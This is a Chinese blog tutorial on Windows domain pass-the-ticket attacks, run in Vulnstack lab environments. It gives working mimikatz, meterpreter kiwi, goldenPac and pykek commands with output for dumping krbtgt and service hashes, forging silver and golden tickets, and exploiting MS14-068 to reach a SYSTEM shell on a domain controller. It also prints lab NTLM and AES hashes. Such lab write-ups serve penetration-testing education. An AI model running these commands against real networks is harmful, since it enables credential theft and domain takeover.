域渗透学习(一)Windows认证机制
域渗透学习(二)Kerberos协议
域渗透学习(三)域内信息搜集
域渗透学习(四)Dump Password & Hash
域渗透学习(五)基于IPC的远程连接
域渗透学习(六)PTH 哈希传递攻击

PTT 票据传递攻击

复习: 域渗透学习(二)Kerberos协议

白银票据(Silver Tickets)

特点:

  • 无需与KDC交互
  • 需要目标Server的NTLM Hash

在前文kerberos认证中的Ticket的组成:

1
Ticket=Server Hash(Server Session Key+Client info+End Time) 

当拥有Server(Service) Hash时,我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前,服务器是不知道Server Session Key是什么的。 所以,一切凭据都来源于Server Hash。

获取Server Hash

1
C:\files>mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

或者使用RCE漏洞获取到目标后加载mimikatz读取 该主机名为WEB的服务器

msf中加载mimikatz后使用msv来获取所有哈希

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > load mimikatz
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID Package Domain User Password
------ ------- ------ ---- --------
0;987554 Negotiate IIS APPPOOL DefaultAppPool lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;996 Negotiate DE1AY WEB$ lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;49994 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }
0;11327761 Kerberos DE1AY Administrator lm{ f471ca8ea823361ef9393d97e7a1873c }, ntlm{ 4d01fbeeaf2b706478943e0889df5622 }
0;1770542 NTLM DE1AY Administrator lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;1038932 Kerberos DE1AY de1ay lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;142774 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;156599 Kerberos DE1AY mssql lm{ f67ce55ac831223dc187b8085fe1d9df }, ntlm{ 161cff084477fe596a5db81874498a24 }
0;995 Negotiate NT AUTHORITY IUSR n.s. (Credentials KO)
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;999 Negotiate DE1AY WEB$ n.s. (Credentials KO)

其中这一条即为需要的Service Hash

1
0;996       Negotiate  DE1AY         WEB$            lm{ 00000000000000000000000000000000 }, ntlm{ 01ad29e76541f46e60129e2fb3acfc5d }

伪造白银票据

尝试访问主机WEB

需要进行身份验证

伪造票据前先清空票据,保证票据列表干净

1
2
kerberos::list #列出票据
kerberos::purge # 清除票据

伪造票据:

1
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

伪造票据需要目标主机的主机名,主机名对应用户的NTLM Hash 和域的SID

获取域的SID可以通过wmic useraccount where name="krbtgt" get sid 或者下文中获取高权限账户后使用lsadump::dcsync /user:krbtgt

域SID即为图中标红的S-1-5-21-2756371121-2868759905-3853650604 红色后面的的是RID 并非域SID

注意如果查询的用户名同时存在域用户和本地用户的话,会得到两个查询结果:如图中查询的de1ay用户会返回两个SID

获取到所需的信息后使用mimikatz伪造一个管理员权限的票据:

1
kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /target:WEB /service:CIFS /rc4:01ad29e76541f46e60129e2fb3acfc5d /user:Administrator /ptt


再次访问WEB服务器,成功

访问DC仍然需要验证:

由于白银票据需要目标服务器的Hash,所以没办法生成对应域内 所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造,可伪造的服务类型列表如下:

服务 服务名
WMI HOST、RPCSS
Powershell Remoteing HOST、HTTP
Scheduled Tasks HOST
LDAP 、DCSync LDAP
Windows File Share (CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

服务端可能的防御措施:
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters
中的ValidateKdcPacSignature设置为1,可规定服务器将票据发送给kerberos服务,由 kerberos服务验证票据是否有效

黄金票据(Golden Tickets)

  • 需要与DC通信
  • 需要krbtgt用户的Hash(KDC Hash)

域中有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要获取到krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket。

获取krbtgt用户哈希

  • DCSync (mimikatz)

    mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。

    1
    lsadump::dcsync /user:krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    mimikatz # lsadump::dcsync /user:krbtgt
    [DC] 'de1ay.com' will be the domain
    [DC] 'DC.de1ay.com' will be the DC server
    [DC] 'krbtgt' will be the user account

    Object RDN : krbtgt

    ** SAM ACCOUNT **

    SAM Username : krbtgt
    Account Type : 30000000 ( USER_OBJECT )
    User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
    Account expiration :
    Password last change : 2019/9/9 10:44:59
    Object Security ID : S-1-5-21-2756371121-2868759905-3853650604-502
    Object Relative ID : 502

    Credentials:
    Hash NTLM: 82dfc71b72a11ef37d663047bc2088fb
    ntlm- 0: 82dfc71b72a11ef37d663047bc2088fb
    lm - 0: 9b5cd36575630d629f3aa6d769ec91c3

    Supplemental Credentials:
    * Primary:Kerberos-Newer-Keys *
    Default Salt : DE1AY.COMkrbtgt
    Default Iterations : 4096
    Credentials
    aes256_hmac (4096) : 42e65a58c000dab8d353b1ff2bee93383f27f0966767afa8c1f32fc51122d118
    aes128_hmac (4096) : 5eb13d2a0e1f4980c3e3810d5da3da4f
    des_cbc_md5 (4096) : 79c8dc79fe467552

    * Primary:Kerberos *
    Default Salt : DE1AY.COMkrbtgt
    Credentials
    des_cbc_md5 : 79c8dc79fe467552

    * Packages *
    Kerberos-Newer-Keys

    * Primary:WDigest *
    01 6486daf200f85102b9a66f0bb698f964
    02 618b4df7c8262508a26641b5271693fe
    03 657b7f6a13829e21c18da26ee927dd7a
    04 6486daf200f85102b9a66f0bb698f964
    05 618b4df7c8262508a26641b5271693fe
    06 6702b7e06d68443bbd003fa1fd2ad6c2
    07 6486daf200f85102b9a66f0bb698f964
    08 5057528d4ee40f9ffda5ab89fc76e45c
    09 5057528d4ee40f9ffda5ab89fc76e45c
    10 ec101c8f1831c5ddefbcdabf2d854077
    11 48c89ab471a5a096c8895ca7c9fb8098
    12 5057528d4ee40f9ffda5ab89fc76e45c
    13 f63f9768f77b7a60dd75f79b210d31c5
    14 48c89ab471a5a096c8895ca7c9fb8098
    15 334888d42cd914936f94d6c2875f77a3
    16 334888d42cd914936f94d6c2875f77a3
    17 930580b0e2523dbc40d8b34efc9a83d1
    18 d7bb3256dc319c0a9bdbff3ef0b3d618
    19 120122f0735a3841c210d145d092d0fc
    20 d371f34cf41adb5a09c8507a94066c48
    21 61b1669bec1aa4a9873703229854e57d
    22 61b1669bec1aa4a9873703229854e57d
    23 963efa120b17bf8ea89eb2906fdf0092
    24 8a015afc23c33423a0557e59bd6d573c
    25 8a015afc23c33423a0557e59bd6d573c
    26 a1fa583bfc8008249d6649630aada4a0
    27 c13cf2b5ecb0894a09f8dd0831732da4
    28 679145bff502118a02f6f3af19067da2
    29 e371aa57cba0556074c58686ef433c30

    或者在 meterpreter 中使用 kiwi 扩展

    1
    dcsync_ntlm krbtgt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    meterpreter > getuid
    Server username: DE1AY\Administrator
    meterpreter > load kiwi
    Loading extension kiwi...
    .#####. mimikatz 2.1.1 20180925 (x86/windows)
    .## ^ ##. "A La Vie, A L'Amour"
    ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
    ## \ / ## > http://blog.gentilkiwi.com/mimikatz
    '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
    '#####' > http://pingcastle.com / http://mysmartlogon.com ***/

    Success.
    meterpreter > dcsync_ntlm krbtgt
    [+] Account : krbtgt
    [+] NTLM Hash : 82dfc71b72a11ef37d663047bc2088fb
    [+] LM Hash : 9b5cd36575630d629f3aa6d769ec91c3
    [+] SID : S-1-5-21-2756371121-2868759905-3853650604-502
    [+] RID : 502

  • LSA(mimikatz)

    mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取

    1
    2
    privilege::debug
    lsadump::lsa /inject /name:krbtgt
  • Hashdump(Meterpreter)

伪造黄金票据

  • 使用meterpreter中的kiwi模块:

    1
    load kiwi

    创建票据

    1
    golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket本地存储路径如:/tmp/krbtgt.ticket>
    1
    golden_ticket_create -d de1ay.com -u test -s S-1-5-21-2756371121-2868759905-3853650604 -k 82dfc71b72a11ef37d663047bc2088fb -t /tmp/krbtgt.ticket


    对域内其他机器进行共享访问,因为无权限失败

    注入到内存

    1
    kerberos_ticket_use /tmp/krbtgt.ticket

    再次访问
    可成功访问域内其他机器和域控

    此时也可使用wmic在WEB机器上执行命令

    1
    wmic /authority:"kerberos:de1ay\WEB" /node:"WEB" process call create "calc"


    命令已经在目标服务器上以administrator权限成功执行

  • 使用mimikatz

    1
    mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

    访问另一台机器WEB \\web\C$ 需要身份验证

    使用mimikatz伪造黄金票据

    进入mimikatz交互界面

    使用kerberos::list查看当前凭据列表

    发现已经有部分凭据,使用kerberos::purge来清空凭据确保凭据列表是干净的

    使用前面获得的krbtgt用户的哈希生成黄金票据

    • SID

      1
      Object Security ID   : S-1-5-21-2756371121-2868759905-3853650604-502

      注意这里的是域SID+RID(-502) RID去掉后才是域SID

    • NTLM Hash

      1
      82dfc71b72a11ef37d663047bc2088fb

    生成黄金票据并注入内存

    1
    kerberos::golden /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /rc4:82dfc71b72a11ef37d663047bc2088fb /user:xxx /ptt

    查看票据 kerberos::list

    再次尝试访问目标服务器WEB

    同样也可以访问DC服务器(或域内任意一台机器)

    注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议

ms14-068 域提权漏洞

测试环境:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

利用PAC验证缺陷,导致可以通过伪造PAC中的用户签名来获取域管理员权限

具体详情:

https://technet.microsoft.com/library/security/ms14-068.aspx

https://www.freebuf.com/vuls/56081.html

利用前提

  • 域控机器没有安装MS14-068补丁
  • 获取到域内普通用户的密码/Hash 以及SUID

可以在DC机器上查看是否安装KB3011780补丁来判断是否存在MS14-068漏洞

利用该漏洞最简单的方法是使用Impacket工具包中的goldenPac 模块

先查看当前用户权限

Domain Users用户组

访问DC目录被拒绝

goldenPac

复制goldenPac.exe 到目标机器

目前已获取当前机器普通域用户leo 密码 123.com

1
goldenPac <域名>/<用户名>:<密码>@<域控地址>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:123.com@dc.sun.com
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[*] DC.sun.com found vulnerable!
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file ZVvcTLeF.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service bzOd on dc.sun.com.....
[*] Starting service bzOd.....
[!] Press help for extra shell commands
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

或者使用proxychains将goldenPac代理进内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:123.com@dc.sun.com
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[*] DC.sun.com found vulnerable!
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[*] Requesting shares on dc.sun.com.....
[*] Found writable share ADMIN$
[*] Uploading file HJlEFapm.exe
[*] Opening SVCManager on dc.sun.com.....
[*] Creating service RxAJ on dc.sun.com.....
[*] Starting service RxAJ.....
SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
[!] Press help for extra shell commands
[proxychains] Strict chain ... 192.168.10.134:33080 ... dc.sun.com:445 ... OK
Microsoft Windows [░µ▒╛ 6.1.7600]
░µ╚¿╦∙╙╨ (c) 2009 Microsoft Corporationíú▒ú┴⌠╦∙╙╨╚¿└√íú

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
DC

C:\Windows\system32>

goldenPac使用可能会因为pyasn1库的原因出现问题,可以参考:解决goldenPac报错问题

pykek

使用方法:

1
ms14.068.exe -u <用户名>@<域名>  -s <SID> -d <DC机器地址或ip> -p <用户密码>

1
2
3
4
5
6
7
8
9
10
11
C:\Users\leo\Desktop>MS14-068.exe -u leo@sun.com -s S-1-5-21-3388020223-19827017
12-4030140183-1110 -d dc.sun.com -p 123.com
[+] Building AS-REQ for dc.sun.com... Done!
[+] Sending AS-REQ to dc.sun.com... Done!
[+] Receiving AS-REP from dc.sun.com... Done!
[+] Parsing AS-REP from dc.sun.com... Done!
[+] Building TGS-REQ for dc.sun.com... Done!
[+] Sending TGS-REQ to dc.sun.com... Done!
[+] Receiving TGS-REP from dc.sun.com... Done!
[+] Parsing TGS-REP from dc.sun.com... Done!
[+] Creating ccache file 'TGT_leo@sun.com.ccache'... Done!

获得ccache文件后,可使用mimikatz进行票据注入

kerberos::purge或者cmd中执行klist purge

1
kerberos::ptc cache路径

注入完成后再次尝试是否有权限访问域控


用Vulnstack靶场二测试的时候没有成功,报了如下错误

如果有知道为什么的求留言告知

⬆︎TOP